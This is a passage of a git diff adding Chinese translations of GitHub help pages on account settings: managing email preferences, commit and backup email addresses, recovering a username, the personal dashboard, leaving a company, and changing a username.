100644 index 0000000000..ee4aa65a8c --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/index.md @@ -0,0 +1,32 @@ +--- +title: 管理电子邮件首选项 +intro: You can add or change the email addresses associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. You can also manage emails you receive from {% data variables.product.product_name %}. +redirect_from: +- /categories/managing-email-preferences +- /articles/managing-email-preferences +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +- Notifications +children: +- /adding-an-email-address-to-your-github-account +- /changing-your-primary-email-address +- /setting-a-backup-email-address +- /setting-your-commit-email-address +- /blocking-command-line-pushes-that-expose-your-personal-email-address +- /remembering-your-github-username-or-email +- /types-of-emails-github-sends +- /managing-marketing-emails-from-github +shortTitle: Manage email preferences +ms.openlocfilehash: ec9c71468c235b07a3e4588c33d791f25e50d7d8 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085073" +--- diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github.md new file mode 100644 index 0000000000..1db919078c --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github.md @@ -0,0 +1,39 @@ +--- +title: 管理来自 GitHub 的营销电子邮件 +intro: In addition to notifications and account emails, {% data variables.product.prodname_dotcom %} occasionally sends marketing emails with news and information about our products. If you unsubscribe from existing marketing emails, you won't be included in future campaigns unless you change your {% data variables.product.prodname_dotcom %} email settings. +redirect_from: +- /articles/managing-marketing-emails-from-github +- /github/setting-up-and-managing-your-github-user-account/managing-marketing-emails-from-github +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/managing-marketing-emails-from-github +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Marketing emails +ms.openlocfilehash: e7563a5c35ea60b63fb4b8aa1393e7cec8635781 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087331" +--- +## 退订 {% data variables.product.prodname_dotcom %} 营销电子邮件 + +{% tip %} + +提示:如果退订所有营销电子邮件,然后订阅 Explore 通讯,只会收到 Explore 通讯,而不会收到其他营销电子邮件。 + +{% endtip %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} +3. 在“电子邮件首选项”下,选择“只接收帐户相关的电子邮件和我订阅的电子邮件”。 + ![退订营销电子邮件的屏幕截图](/assets/images/help/notifications/email_preferences.png) +4. 单击“保存电子邮件首选项”。 + ![“保存电子邮件首选项”按钮](/assets/images/help/notifications/save_email_preferences.png) + +## 延伸阅读 + +- [GitHub 发送的电子邮件类型](/articles/types-of-emails-github-sends) +- [配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md new file mode 100644 index 0000000000..0044010291 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email.md @@ -0,0 +1,80 @@ +--- +title: 记住您的 GitHub 用户名或电子邮件 +intro: Are you signing in to {% data variables.product.product_location %} for the first time in a while? If so, welcome back! If you can't remember the username for your personal account on {% data variables.product.product_name %}, you can try these methods for remembering it. +redirect_from: +- /articles/oh-noes-i-ve-forgotten-my-username-email +- /articles/oh-noes-i-ve-forgotten-my-username-or-email +- /articles/remembering-your-github-username-or-email +- /github/setting-up-and-managing-your-github-user-account/remembering-your-github-username-or-email +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/remembering-your-github-username-or-email +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Find your username or email +ms.openlocfilehash: 79cb3ba65390e384272540bd32a1ec9e598517f4 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085072" +--- +{% mac %} + +## {% data variables.product.prodname_desktop %} 用户 + +1. 在“GitHub 桌面”菜单中,单击“首选项” 。 +2. 在 Preferences(首选项)窗口中,验证以下内容: + - 若要查看 {% data variables.product.product_name %} 用户名,请单击“帐户”。 + - 若要查看 Git 电子邮件,请单击“Git”。 请注意,此电子邮件不保证是 [主要 {% data variables.product.product_name %} 电子邮件](/articles/changing-your-primary-email-address)。 + +{% endmac %} + +{% windows %} + +## {% data variables.product.prodname_desktop %} 用户 + +1. 在“文件”菜单中,单击“选项” 。 +2. 在 Options(选项)窗口中,验证以下内容: + - 若要查看 {% data variables.product.product_name %} 用户名,请单击“帐户”。 + - 若要查看 Git 电子邮件,请单击“Git”。 请注意,此电子邮件不保证是 [主要 {% data variables.product.product_name %} 电子邮件](/articles/changing-your-primary-email-address)。 + +{% endwindows %} + +## 在 `user.name` 配置中查找用户名 + +在设置期间,你可能已[在 Git 中设置用户名](/github/getting-started-with-github/setting-your-username-in-git)。 如果这样,您可以查看此配置设置的值: + +```shell +$ git config user.name +# View the setting +YOUR_USERNAME +``` + +## 在远程仓库的 URL 中查找您的用户名 + +如果您有已创建或已复刻的个人仓库的任何本地副本,则可以检查远程仓库的 URL。 + +{% tip %} + +提示:此方法仅当你拥有原始存储库或其他人存储库中你自己的分叉时才有效。 如果您克隆其他人的仓库,将显示他们的用户名而不是您的用户名。 类似地,组织仓库将显示组织的名称,而不是远程 URL 中的特定用户。 + +{% endtip %} + +```shell +$ cd YOUR_REPOSITORY +# Change directories to the initialized Git repository +$ git remote -v +origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (fetch) +origin https://{% data variables.command_line.codeblock %}/YOUR_USERNAME/YOUR_REPOSITORY.git (push) +``` + +用户名紧跟在 `https://{% data variables.command_line.backticks %}/` 后。 + +{% ifversion fpt or ghec %} +## 延伸阅读 + +- “[验证电子邮件地址](/articles/verifying-your-email-address)”{% endif %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address.md new file mode 100644 index 0000000000..8220b890ff --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address.md @@ -0,0 +1,32 @@ +--- +title: 设置备用电子邮件地址 +intro: Use a backup email address as an additional destination for security-relevant account notifications{% ifversion not ghae %} and to securely reset your password if you can no longer access your primary email address{% endif %}. +redirect_from: +- /articles/setting-a-backup-email-address +- /github/setting-up-and-managing-your-github-user-account/setting-a-backup-email-address +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-a-backup-email-address +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Set backup email address +ms.openlocfilehash: 735e78c8f9e58dd6f6fea0f7c81334d8d8206d5a +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087328" +--- +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} +3. 在“Backup email address(备用电子邮件地址)”下,使用下拉菜单选择您要设置为备用电子邮件地址的地址。 +![备用电子邮件地址](/assets/images/help/settings/backup-email-address.png) +4. 单击“ **保存**”。 + +## 延伸阅读 + +- [管理电子邮件首选项](/articles/managing-email-preferences/) +- [更新 GitHub 访问凭据](/articles/updating-your-github-access-credentials/) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md new file mode 100644 index 0000000000..cb1ddecbab --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address.md @@ -0,0 +1,106 @@ +--- +title: 设置提交电子邮件地址 +intro: You can set the email address that is used to author commits on {% data variables.product.product_location %} and on your computer. +redirect_from: +- /articles/keeping-your-email-address-private +- /articles/setting-your-commit-email-address-on-github +- /articles/about-commit-email-addresses +- /articles/git-email-settings +- /articles/setting-your-email-in-git +- /articles/set-your-user-name-email-and-github-token +- /articles/setting-your-commit-email-address-in-git +- /articles/setting-your-commit-email-address +- /github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/setting-your-commit-email-address +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Set commit email address +ms.openlocfilehash: da47c240cc53e18d5f5537f20dd8c1eb2f4127bf +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085070" +--- +## 关于提交电子邮件地址 + +{% data variables.product.prodname_dotcom %} 使用您的提交电子邮件地址将提交与您的 {% data variables.product.product_location %} 关联。 您可以选择要与从命令行以及基于 web 的 Git 操作推送的提交相关联的电子邮件地址。 + +对于基于 Web 的 Git 操作,您可以在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上设置提交电子邮件地址。 对于从命令行推送的提交,您可以在 Git 中设置提交电子邮件地址。 + +{% ifversion fpt or ghec %} 在更改提交电子邮件地址之前进行的提交仍与之前的电子邮件地址关联。{% else %} 在 {% data variables.product.product_name %} 上更改提交电子邮件地址后,新电子邮件地址默认在所有未来基于 Web 的 Git 操作中可见。 在更改提交电子邮件地址之前进行的任何提交仍与之前的电子邮件地址关联。{% endif %} + +{% ifversion fpt or ghec %} + +{% note %} + +注意:{% data reusables.user-settings.no-verification-disposable-emails %} + +{% endnote %} + +{% endif %} + +{% ifversion fpt or ghec %} 如果想将个人电子邮件地址设为私密,则可以使用 {% data variables.product.product_name %} 的 `no-reply` 电子邮件地址作为提交电子邮件地址。 要将 `noreply` 电子邮件地址用于从命令行推送的提交,请在 Git 中设置提交电子邮件地址时使用该电子邮件地址。 要将 `noreply` 地址用于基于 Web 的 Git 操作,请在 GitHub 上设置提交电子邮件地址并选择“对我的电子邮件地址保密”。 + +您也可以选择阻止从命令行推送的提交显示您的个人电子邮件地址。 有关详细信息,请参阅“[阻止会暴露个人电子邮件的命令行推送](/articles/blocking-command-line-pushes-that-expose-your-personal-email-address)。”{% endif %} + +为确保提交归因于你并且出现在你的贡献图中,请使用已连接到你在 {% data variables.product.product_location %} 上的帐户的电子邮件地址{% ifversion fpt or ghec %},或者在电子邮件设置中提供给你的 `noreply` 电子邮件地址{% endif %}。 {% ifversion not ghae %} 有关详细信息,请参阅“[将电子邮件地址添加到 {% data variables.product.prodname_dotcom %} 帐户](/github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account)”。{% endif %} + +{% ifversion fpt or ghec %} + +{% note %} + +注意:如果于 2017 年 7 月 18 日之后在 {% data variables.product.product_location %} 上创建了帐户,则用于 {% data variables.product.product_name %} 的 `no-reply` 电子邮件地址是一个七位数的 ID 号以及格式为 ID+username@users.noreply.github.com 的用户名。 如果于 2017 年 7 月 18 日之前在 {% data variables.product.product_location %} 上创建了帐户,则来自 {% data variables.product.product_name %} 的 `no-reply` 电子邮件地址是 username@users.noreply.github.com。 可以通过在电子邮件设置中选择(或取消选择并重新选择)“对我的电子邮件地址保密”,为 {% data variables.product.product_name %} 获取基于 ID 的 `no-reply` 电子邮件地址。 + +{% endnote %} + +如果使用 {% data variables.product.product_name %} 的 `noreply` 电子邮件地址进行提交,然后[更改用户名](/articles/changing-your-github-username),则这些提交将不会与你在 {% data variables.product.product_location %} 上的帐户相关联。 如果使用的是基于 ID 的 {% data variables.product.product_name %} `noreply` 地址,则不适用。 有关详细信息,请参阅“[更改 {% data variables.product.prodname_dotcom %} 用户名](/articles/changing-your-github-username)。”{% endif %} + +## 在 {% data variables.product.prodname_dotcom %} 上设置提交电子邮件地址 + +{% data reusables.files.commit-author-email-options %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.emails %} {% data reusables.user-settings.add_and_verify_email %} {% data reusables.user-settings.select_primary_email %}{% ifversion fpt or ghec %} {% data reusables.user-settings.keeping_your_email_address_private %}{% endif %} + +## 在 Git 中设置您的提交电子邮件地址 + +可以使用 `git config` 命令更改与 Git 提交关联的电子邮件地址。 设置的新电子邮件地址将在从命令行推送到 {% data variables.product.product_location %} 的任何未来提交中显示。 在您更改提交电子邮件地址之前进行的任何提交仍与之前的电子邮件地址关联。 + +### 为计算机上的每个仓库设置电子邮件地址 + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. {% data reusables.user-settings.set_your_email_address_in_git %} + ```shell + $ git config --global user.email "email@example.com" + ``` +3. {% data reusables.user-settings.confirm_git_email_address_correct %} + ```shell + $ git config --global user.email + email@example.com + ``` +4. {% data reusables.user-settings.link_email_with_your_account %} + +### 为一个仓库设置电子邮件地址 + +{% data variables.product.product_name %} 使用在您的本地 Git 配置中设置的电子邮件地址将从命令行推送的提交与您在 {% data variables.product.product_location %} 上的帐户相关联。 + +您可以更改与您在一个仓库中所进行的提交关联的电子邮件地址。 此操作将覆盖这一个仓库中的全局 Git 配置设置,但不会影响任何其他仓库。 + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. 将当前工作目录更改为您想要在其中配置与 Git 提交关联的电子邮件地址的本地仓库。 +3. {% data reusables.user-settings.set_your_email_address_in_git %} + ```shell + $ git config user.email "email@example.com" + ``` +4. {% data reusables.user-settings.confirm_git_email_address_correct %} + ```shell + $ git config user.email + email@example.com + ``` +5. {% data reusables.user-settings.link_email_with_your_account %} diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends.md new file mode 100644 index 0000000000..f9b7172675 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends.md @@ -0,0 +1,59 @@ +--- +title: GitHub 发送的电子邮件类型 +intro: There are several types of emails you can receive from {% data variables.product.product_name %}, including notifications, account information, customer research invitations, and marketing communications. +redirect_from: +- /articles/types-of-emails-github-sends +- /github/setting-up-and-managing-your-github-user-account/types-of-emails-github-sends +- /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/types-of-emails-github-sends +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +- Notifications +shortTitle: Emails from GitHub +ms.openlocfilehash: e06708966ccd9f33564985e7964409fd1e1c55eb +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087327" +--- +## 通知电子邮件 + +您可以选择通过电子邮件接收部分或全部活动通知。 有关详细信息,请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications)”。 通知电子邮件可包括: + +- 您具有管理员访问权限的仓库的安全相关活动 +- 您正在查看的仓库的活动 +- 您正在参与的对话 +- 你被 @mentioned 的对话 +- 您正在参与的拉取请求的推送 +- 要在组织或仓库中协作的邀请 +- 您自己的活动,例如打开、评论或关闭议题和拉取请求 + +您还可以在您正在参与或观看的对话中选择希望接收哪种类型的电子邮件更新。 有关详细信息,请参阅“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)”。 + +## 帐户电子邮件 + +如果您已升级为付费产品或功能,则将在帐户的主电子邮件地址收到帐单收据。 有关详细信息,请参阅“[设置计费电子邮件](/articles/setting-your-billing-email)”。 + +## 客户研究电子邮件 + +{% data variables.product.product_name %} 有时会寻求客户参加研究会议,以帮助我们构建更好的 GitHub。 这些会议是远程进行的,对世界各地的客户开放,可能包括: + +- 反馈调查 +- 研究访谈 +- 可用性测试会议 +- 预览早期原型或概念 + +这些电子邮件并不常见,您可以选择是否参与。 如果您对参加研究会议的机会感兴趣,您可以加入 GitHub 客户研究小组。 有关详细信息,请参阅“[GitHub 客户体验研究](https://cxr.github.com)”。 + +## 营销电子邮件 + +{% data variables.product.product_name %} 偶尔会发送以下类型的营销电子邮件: + +- 使用帐户的提示和技巧 +- 有关参与项目或新功能的自定义信息 +- 您订阅的简报,例如 {% data variables.explore.explore_github %} + +有关详细信息,请参阅“[管理来自 GitHub 的营销电子邮件](/articles/managing-marketing-emails-from-github)”。 diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md new file mode 100644 index 0000000000..23b04a73f8 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md @@ -0,0 +1,98 @@ +--- +title: 关于个人仪表板 +redirect_from: +- /hidden/about-improved-navigation-to-commonly-accessed-pages-on-github +- /articles/opting-into-the-public-beta-for-a-new-dashboard +- /articles/about-your-personal-dashboard +- /github/setting-up-and-managing-your-github-user-account/about-your-personal-dashboard +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard +intro: You can visit your personal dashboard to keep track of issues and pull requests you're working on or following, navigate to your top repositories and team pages, stay updated on recent activities in organizations and repositories you're subscribed to, and explore recommended repositories. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Your personal dashboard +ms.openlocfilehash: a6c91f68a30f06bbc5b3b7bc8a0b95dddfbae64a +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085069" +--- +## 访问个人仪表板 + +个人仪表板是登录 {% data variables.product.product_name %} 时显示的第一页。 + +登录后若要访问个人仪表板,请单击 {% data variables.product.product_name %} 上任何页面左上角的 {% octicon "mark-github" aria-label="The github octocat logo" %}。 + +## 查找近期活动 + +在消息馈送的“Recent activity(最近活动)”部分,您可以快速找到并跟进最近更新的议题和您正在处理的拉取请求。 在“最近活动”下,最多可以预览过去两周内的 4 次最近更新。 + +{% data reusables.dashboard.recent-activity-qualifying-events %} + +## 查找常用仓库和团队 + +在仪表板的左侧栏中,可以访问常用仓库和团队。 + +![不同组织中的仓库和团队列表](/assets/images/help/dashboard/repositories-and-teams-from-personal-dashboard.png) + +常用仓库列表自动生成,可以包括您与之交互的任何仓库,无论它是否由您的帐户直接拥有。 交互包括提交和打开或评论议题和拉取请求。 常用仓库列表无法编辑,但其中的仓库将在您最后一次与之交互 4 个月后从列表中删除。 + +您也可以点击 {% data variables.product.product_name %} 上任何页面顶部的搜索栏,查找近期访问过的仓库、团队及项目板列表。 + +## 了解社区中活动的最新信息 + +{% if for-you-feed %} 仪表板的主要部分有两个活动源: + +- 关注:您关注的人员和您关注的存储库的活动。 +- 为您推荐:根据您的 {% data variables.product.product_name %} 网络开展的活动和推荐。 + +### 关注订阅源 + +此订阅源通过关注用户或存储库,显示来自您表现出直接兴趣的存储库和用户的活动。 例如,当您关注的用户执行以下操作时,您会看到更新: + +{% else %} 在新闻源的“所有活动”部分,可查看所监视的存储库和关注的用户的更新。 + +当你关注的用户执行以下操作时,会在新闻源中看到更新:{% endif %} + + +- 对仓库标星。 +- 关注其他用户。{% ifversion fpt or ghes or ghec %} +- 创建公共仓库。{% endif %} +- 在您关注的仓库上打开具有“需要帮助”或“良好的第一个议题”标签的议题或拉取请求。 +- 将提交内容推送到你关注的存储库。{% ifversion fpt or ghes or ghec %} +- 复刻公共仓库。{% endif %} +- 发布新版本。 + +若要详细了解如何关注人员和监视存储库,请参阅“[关注他人](/get-started/exploring-projects-on-github/following-people)”和“[社交化](/get-started/quickstart/be-social)”。 + +{% if for-you-feed %} +### 供您订阅 + +{% note %} + +注意:这个新选项卡目前为公共 beta 版本,可能会发生更改。 + +{% endnote %} + +此订阅源根据您在 {% data variables.product.product_name %} 上的网络显示活动和建议。 它旨在提供更新,以激励您,让您保持最新状态,并帮助您找到想要参与的新社区。 您的网络包括: + +- 您已加星标的存储库 +- 您参与的存储库 +- 您关注或赞助的用户 +- 与您协作的用户 +- 您关注的组织 + +{% endif %} + +## 探索推荐的仓库 + +在仪表板右侧的“Explore repositories(浏览仓库)”部分,您可以浏览社区中推荐的仓库。 推荐内容基于你已加注星标或访问过的存储库、所关注的人员以及有权访问的存储库中的活动。{% ifversion fpt or ghec %}有关详细信息,请参阅“[查找在 {% data variables.product.prodname_dotcom %} 上参与开放源代码的方法](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)”。{% endif %} + +## 延伸阅读 + +- [关于组织仪表板](/articles/about-your-organization-dashboard) diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company.md new file mode 100644 index 0000000000..1c792a403a --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company.md @@ -0,0 +1,45 @@ +--- +title: 关于离开公司的最佳实践 +intro: If you use your account on {% data variables.product.product_name %} for both personal and work purposes, there are a few things to keep in mind when you leave your company or organization. +redirect_from: +- /articles/best-practices-for-leaving-your-company +- /github/setting-up-and-managing-your-github-user-account/best-practices-for-leaving-your-company +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/best-practices-for-leaving-your-company +versions: + fpt: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Leaving your company +ms.openlocfilehash: 4384955c0b81e887cb2671a537291b438664e621 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145087324" +--- +在离开公司之前,请确保在个人帐户中更新以下信息: + +- 通过[在电子邮件设置中删除公司电子邮件地址](/articles/changing-your-primary-email-address)来取消其验证。 然后,您可以在不验证的情况下重新添加它,以保留与您的帐户相关联的所有相关提交。 +- [将你的主电子邮件地址](/articles/changing-your-primary-email-address)从公司电子邮件地址更改为个人电子邮件地址。 +{% ifversion fpt or ghec %} +- [验证新的主电子邮件地址](/articles/verifying-your-email-address)。 +{% endif %} +- [更改你的 GitHub 用户名](/articles/changing-your-github-username)以删除对公司或组织的任何引用(如有必要)。 + +## 离开组织 + +如果你在使用属于组织的存储库,则应[删除自己的组织成员身份](/articles/removing-yourself-from-an-organization)。 请注意,如果你是组织所有者,应先将[组织的所有权转让](/articles/transferring-organization-ownership)给其他人。 + +## 删除与个人仓库的职业关联 + +如果你在属于其他人的个人帐户的存储库中与其进行了专业协作,则应从这些存储库中[删除自己的协作者身份](/articles/removing-yourself-from-a-collaborator-s-repository)。 + +- [停止关注与工作相关的存储库](https://github.com/watching)。 您不再需要这些通知了! +- [转让你拥有的存储库](/articles/how-to-transfer-a-repository),在你离开后,其他人可能需要继续使用该存储库处理工作。 +- [删除与你的工作相关且属于你的分支](/articles/deleting-a-repository)。 不用担心,删除复刻不会删除上游仓库。 +- 删除您的计算机上可能存在的复刻本地副本: + +```shell +$ rm -rf work_directory +``` diff --git a/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md new file mode 100644 index 0000000000..9826acb880 --- /dev/null +++ b/translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username.md @@ -0,0 +1,95 @@ +--- +title: 更改 GitHub 用户名 +intro: You can change the username for your account on {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes %}{% data variables.product.product_location %} if your instance uses built-in authentication{% endif %}. +redirect_from: +- /articles/how-to-change-your-username +- /articles/changing-your-github-user-name +- /articles/renaming-a-user +- /articles/what-happens-when-i-change-my-username +- /articles/changing-your-github-username +- /github/setting-up-and-managing-your-github-user-account/changing-your-github-username +- /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/changing-your-github-username +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: +- Accounts +shortTitle: Change your username +ms.openlocfilehash: 30139a0dab508f1e8db0f33174d6e25ec28afef4 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145085068" +--- +{% ifversion ghec or ghes %} + +{% note %} + +{% ifversion ghec %} + +注意:{% data variables.product.prodname_emu_enterprise %} 成员不能更改用户名。 企业的 IdP 管理员控制您的 {% data variables.product.product_name %} 用户名。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。 + +{% elsif ghes %} + +注意:如果你使用 LDAP 凭据或单一登录 (SSO) 登录 {% data variables.product.product_location %},则只有你的本地管理员才能更改你的用户名。 有关 {% data variables.product.product_name %} 身份验证方法的详细信息,请参阅“[对 {% data variables.product.product_location %} 的用户进行身份验证](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)”。 + +{% endif %} + +{% endnote %} + +{% endif %} + +## 关于用户名更改 + +您可以将用户名更改为当前未使用的其他用户名。{% ifversion fpt or ghec %} 如果所需的用户名不可用,请考虑其他名称或唯一变体。 使用数字、连字符或其他拼写可能有助于您找到仍可用的类似用户名。 + +如果你拥有该用户名的商标,可以在我们的[商标政策](/free-pro-team@latest/github/site-policy/github-trademark-policy)页面上找到有关提出商标投诉的更多信息。 + +如果您没有该名称的商标,则可以选择其他用户名或保留当前用户名。 {% data variables.contact.github_support %} 无法为您释放不可用的用户名。 有关详细信息,请参阅“[更改用户名](#changing-your-username)”。{% endif %} + +更改用户名后,您的旧用户名即可供其他人申请使用。 对旧用户名下仓库的大多数引用会自动更改为新用户名。 不过,指向您个人资料的某些链接不会自动重定向。 + +{% data variables.product.product_name %} 无法为以下各项设置重定向: +- 使用旧用户名的 [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) +- 包含旧用户名的 [gists](/articles/creating-gists) 链接 + +{% ifversion fpt or ghec %} + +如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员,则无法更改用户名。 {% data reusables.enterprise-accounts.emu-more-info-account %} + +{% endif %} + +## 仓库引用 + +您更改用户名后,{% data variables.product.product_name %} 自动将引用重定向到您的仓库。 +- 指向现有仓库的 Web 链接仍然有效。 进行更改后,可能需要几分钟时间才能完成。 +- 从本地仓库克隆推送到旧的远程跟踪 URL 的命令行仍然有效。 + +如果旧用户名的新所有者创建与您的仓库同名的仓库,则会覆盖重定向条目,并且您的重定向将停止工作。 由于这种可能性,我们建议您在更改用户名后更新所有现有的远程仓库 URL。 有关详细信息,请参阅“[管理远程存储库](/github/getting-started-with-github/managing-remote-repositories)”。 + +## 指向以前的个人资料页面的链接 + +更改用户名后,指向以前的配置文件页面的链接(例如 `https://{% data variables.command_line.backticks %}/previoususername`)将返回 404 错误。 我们建议从其他位置更新指向 {% data variables.product.product_location %} 帐户的所有链接{% ifversion fpt or ghec %},例如您的 LinkedIn 或 Twitter 个人资料{% endif %}。 + +## 您的 Git 提交 + +{% ifversion fpt or ghec %}与你的 {% data variables.product.product_name %} 提供的 `noreply` 电子邮件地址关联的 Git 提交不会归于新的用户名,并且不会在你的贡献图中显示。{% endif %}如果你的 Git 提交与你已[添加到 GitHub 帐户](/articles/adding-an-email-address-to-your-github-account)的其他电子邮件地址关联,{% ifversion fpt or ghec %}包括基于 ID 的 {% data variables.product.product_name %} 提供的 `noreply` 电子邮件地址,{% endif %}它们在你更改用户名后将继续归于你并在你的贡献图中显示。 有关设置电子邮件地址的详细信息,请参阅“[设置提交电子邮件地址](/articles/setting-your-commit-email-address)”。 + +## 更改用户名 + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.account_settings %} +3. 在“更改用户名”部分中,单击“更改用户名”。 + ![更改用户名按钮](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %} +4. 阅读有关更改用户名的警告。 如果你仍要更改用户名,请单击“我了解,让我们更改用户名”。 + ![更改用户名警告按钮](/assets/images/help/settings/settings-change-username-warning-button.png) +5. 键入新的用户名。 + ![新用户名字段](/assets/images/help/settings/settings-change-username-enter-new-username.png) +6. 如果你选择的用户名可用,请单击“更改用户名”。 如果您选择的用户名不可用,可以尝试其他用户名或您看到的建议之一。 + 